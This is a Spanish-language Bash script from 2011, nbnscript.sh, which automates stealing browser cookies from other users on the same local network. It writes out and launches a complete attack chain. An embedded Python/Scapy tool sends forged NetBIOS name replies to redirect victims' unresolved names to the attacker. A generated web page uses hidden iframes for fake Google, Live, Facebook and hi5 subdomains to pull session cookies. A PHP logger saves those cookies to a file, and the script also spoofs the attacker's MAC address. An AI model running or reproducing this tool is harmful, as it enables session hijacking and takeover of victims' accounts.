#############################################################
#       nbnscript.sh (ver 2.0 - 16/08/2011)          
#       nbnscript.sh (ver 1.2 - 9/11/2008)           hkm @ hakim . ws
#############################################################
# ROBO DE COOKIES POR ENVENENAMIENTO NBNS
# Estando en la misma red local, si corres el nbnscript.sh en Backtrak, cuando alguien que no use Internet
# Explorer ponga mal cualquier dominio, o ingrese un dominio que no se pueda resolver, veras sus cookies de
# google.com, live.com, hi5.com Y facebook.com.
# En IE es necesario hacer que la victima visite -uno-por-uno- cada subdominio inexistente http://0.google.com
# Notas Interesantes################################################
# Aunque se use OpenDNS en Firefox puedes redirigir con http://.hi5.com
# No-script bloquea la obtencion de -todas-las-cookies-a-la-vez-, pero se puede usar el procedimiento de IE
# Algunas redes bloquean el servicio HTTP interno pero puedes dirigir a IPs externas
############################################################
################   C a s t   ######################################
#                                 -por los volcanes! 6sep2008 (6:34am)
#
#             @  [sdc] - [nitrous] - [hkm] - [crypkey]  @
#					...so you know its g00d
#
##### hkm ##### creo el nbnscript.sh para usarlo en su, recien reiniciado, backtrack
##### nitr0us ##### modifico el nbnspoof.py para contestar solo a una IP (dirigido)
##### Robert Wesley McGrew ##### de http://www.mcgrewsecurity.com creo nbnspoof.py
############################################################
############################################################
############################################Saludos a #mendozaaaa
# Este script esta hecho para correr en BACKTRACK, y lo que hace es:
# Levanta el apache httpd, crea un index.html que manda cookies a getc.php para ser almacenadas en cookies.txt
# Envenena DNS contestando a las peticiones que DNS no puede contestar, usando el protocolo NBNS <15 char
# La pagina index.html contiene iframes con subdominios inexistentes que seran redirigidos al mismo index.html
#
###############mas informacion en http://www.hakim.ws
############################################################
clear
echo -e '\n     nbnscript.sh v2.0  -por hkm @ hakim.ws 8/2011\n
\nUsando configuracion default:\n
Usando la interface: [eth0]
Obtener cookies de: [google.com live.com hi5.com facebook.com]
IP de la victima: [todas]
MAC: [usando tu verdadero MAC]
Redirigir: [todos los nombres/dominios]
Redirigir a: [este equipo]\n'
read -n1 -p '[c]onfigurar o presiona enter para [continuar] : ' conf
if [ "$conf" = "c" ]
then
echo -e '\n';
read -p "Escribe la interface a utilizar [o eth0] : " iface
read -p "Dominios de los cuales obtener cookies [o default] : " dominios
read -p  "Escribe la IP de la victima [o todas] : " IPdst
read -p  "Escribe tu MAC a spoofear [o random] : " MAC
read -p  "Contestar/redirigir unicamente este nombre/dominio [o todos] : " nombre
read -p  "IP a la cual redirigir dominios [o este equipo] : " IP
fi 
echo  -e '\n[+] Creando archivos necesarios...'
rm /var/www/index.html -f
### I N D E X . H T M L ##############################################
# manda la cookie por GET a /getc.php, si no esta en frames, imprime iframes que seran redirigidos a si mismo.
echo -e '
<HTML><BODY><SCRIPT>
if(document.cookie) {
var c=escape(document.cookie);
document.write("<img src=/getc.php?c="+c+" style='\''display: none'\''>");
}
if ( window.top==window.self ) {
document.write("<iframe src=http://0.google.com style='\''display: none'\''></iframe>");
document.write("<iframe src=http://.live.com style='\''display: none'\''></iframe>");
document.write("<iframe src=http://0.facebook.com style='\''display: none'\''></iframe>");
document.write("<iframe src=http://.hi5.com style='\''display: none'\''></iframe>");
' >> /var/www/index.html;
for dominio in $dominios 
do
  echo -e 'document.write("<iframe src=http://0.'$dominio' style='\''display: none'\''></iframe>");' >> /var/www/index.html;
  echo -e 'document.write("<iframe src=http://.'$dominio' style='\''display: none'\''></iframe>");' >> /var/www/index.html;
done
echo '
}
</SCRIPT></BODY></HTML> ' >> /var/www/index.html;
rm /var/www/getc.php -f
#############################################################
### G E T C . P H P #################################################
# php cookie logger, obtiene cookie por GET y la almacena en c00kies.txt
echo -e '
<?PHP
if ($_GET["c"]){
	$cookie = urldecode($_GET["c"]);
	$file = fopen("c00kies.txt","a+");
	fwrite($file, "\r\n".$_SERVER['\''REMOTE_ADDR'\'']." ". $_SERVER['\''HTTP_REFERER'\'']." = ".$cookie);
	fclose($file); }
?> ' >> /var/www/getc.php;
rm nbnspoof.py -f
#############################################################
### N B N S P O O F . P Y #############################################
# manda respuestas NBNS spoofeadas ( escapar '  =>  '/''  y /x00  =>  //x00 )
echo -e '
#!/usr/bin/env python
# 
# nbnspoof.py
# 03-27-2007
# Robert Wesley McGrew
# wesley@mcgrewsecurity.com
#
# http://mcgrewsecurity.com
#
# Keeping things simple: You may use this code however you see fit, so 
# long as you give me proper credit.  Email me if you have any
# questions.
#
# -s option added by nitr0us 09-07-2008
import sys
import getopt
import re
from scapy import *
global verbose
global regexp
global ip
global interface
global mac_addr
def usage():
   print """Usage:
nbnspoof.py [-v] -i <interface> -n <regexp> -h <ip address> -m <MAC> [-s <dst ip>]

-v Verbose output of sniffed NBNS name queries, and responses sent

-i The interface you want to sniff and send on

-n A regular expression applied to each query to determine whether a
   spoofed response will be sent
   
-h The IP address that will be sent in spoofed responses

-m The source MAC address for spoofed responses

-s  The spoofed response will be sent to this IP ONLY! (Optional)
"""
   return
def pack_ip(addr):
   temp = IP(src=addr)
   return str(temp)[0x0c:0x10]
def unpack_ip(bin):
   temp = IP()
   temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]
   temp = IP(temp)
   return temp.src
def get_packet(pkt):
   global verbose
   global regexp
   global ip
   global interface
   global mac_addr
   if not pkt.getlayer(NBNSQueryRequest):
      return
   if pkt.FLAGS & 0x8000:
      query = False
      addr = unpack_ip(str(pkt.getlayer(Raw))[8:])
   else:
      query = True
   if verbose:
      print str(pkt.NAME_TRN_ID) + ":",
      if query:
         print "Q",
      else:
         print "R",
      print "SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst,
      if query:
         print '\''NAME:"'\'' + pkt.QUESTION_NAME + '\''"'\''
      else:
         print '\''NAME:"'\'' + pkt.QUESTION_NAME + '\''"'\'',
         print '\''IP:'\'' + addr
   if query and regexp.match(pkt.QUESTION_NAME.rstrip(),0):
      response  = Ether(dst=pkt.src,src=mac_addr)
      response /= IP(dst=pkt.getlayer(IP).src,src=ip)
      response /= UDP(sport=137,dport=137)
      response /= NBNSQueryRequest(NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\
                                  FLAGS=0x8500,\
                                  QDCOUNT=0,\
                                  ANCOUNT=1,\
                                  NSCOUNT=0,\
                                  ARCOUNT=0,\
                                  QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\
                                  SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\
                                  NULL=0,\
                                  QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\
                                  QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)
      response /= Raw()
      # Time to live: 3 days, 11 hours, 20 minutes
      response.getlayer(Raw).load += '\''\\x00\\x04\\x93\\xe0'\'' 
      # Data length: 6
      response.getlayer(Raw).load += '\''\\x00\\x06'\''
      # Flags: (B-node, unique)
      response.getlayer(Raw).load += '\''\\x00\\x00'\''
      # The IP we'\''re giving them:
      response.getlayer(Raw).load += pack_ip(ip)
      sendp(response,iface=interface,verbose=0)
      if verbose:
         print '\''Sent spoofed reply to #'\'' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID)
   return
def main():
   global verbose
   global regexp
   global ip
   global interface
   global mac_addr
   try:
      opts, args = getopt.getopt(sys.argv[1:],"vi:n:h:m:s:")
   except:
      usage()
      sys.exit(1)
   verbose = False
   interface = None
   name_regexp = None
   ip = None
   src_ip = None
   mac_addr = None
   for o, a in opts:
      if o == '\''-v'\'':
         verbose = True
      if o == '\''-i'\'':
         interface = a
      if o == '\''-n'\'':
         name_regexp = a
      if o == '\''-h'\'':
         ip = a
      if o == '\''-m'\'':
         mac_addr = a
      if o == '\''-s'\'':
         src_ip = a
   if args or not ip  or not name_regexp or not interface or not mac_addr:
      usage()
      sys.exit(1)
   regexp = re.compile(name_regexp,re.IGNORECASE)
   if src_ip:
      sniff(iface=interface,filter="ip src " + src_ip + " and udp and port 137",store=0,prn=get_packet)
   else:
      sniff(iface=interface,filter="udp and port 137",store=0,prn=get_packet)
   return
if __name__ == "__main__":
   main()
' >> nbnspoof.py;
#############################################################
#############################################################
cp /pentest/sniffers/wifitap/scapy.py .
echo "Esperando cookies...">> /var/www/c00kies.txt
chmod 777 /var/www/c00kies.txt
if [ "$MAC" = "" ]
then
MAC=00:$(printf '%02x:%02x:%02x:%02x:%02x' $((RANDOM % 256)) $((RANDOM % 256)) $((RANDOM % 256)) $((RANDOM % 256)) $((RANDOM % 256)))
fi
if [ "$iface" = "" ]
then
iface=eth0
fi
if [ "$IP" = "" ]
then
IP=`ifconfig $iface | grep 'inet' | cut -d: -f2 |  cut -d' ' -f1 | awk '{ print $1}'`
fi
echo '[+] Reiniciando httpd'
service apache2 stop
service apache2 start
echo '[+] Iniciando captura de cookies y envenenamiento NBNS...'
xterm -T "[nbnscript.sh] - Esperando cookies..." -geometry 200x200+0+0 -e watch -d cat /var/www/c00kies.txt &
echo $nombre
if [ "$nombre" = "" ]
then
nombre=`echo '.*'`
fi
if [ "$IPdst" = "" ]
then
xterm -T "[nbnspoof.py] - Envenenando con NBNS" -geometry 200x15-0-0 -e python nbnspoof.py -v -i $iface -n "$nombre" -h $IP -m $MAC
else
xterm -T "[nbnspoof.py] - Envenenando con NBNS" -geometry 200x15-0-0 -e python nbnspoof.py -v -i $iface -n $nombre -h $IP -m $MAC -s $IPdst
fi
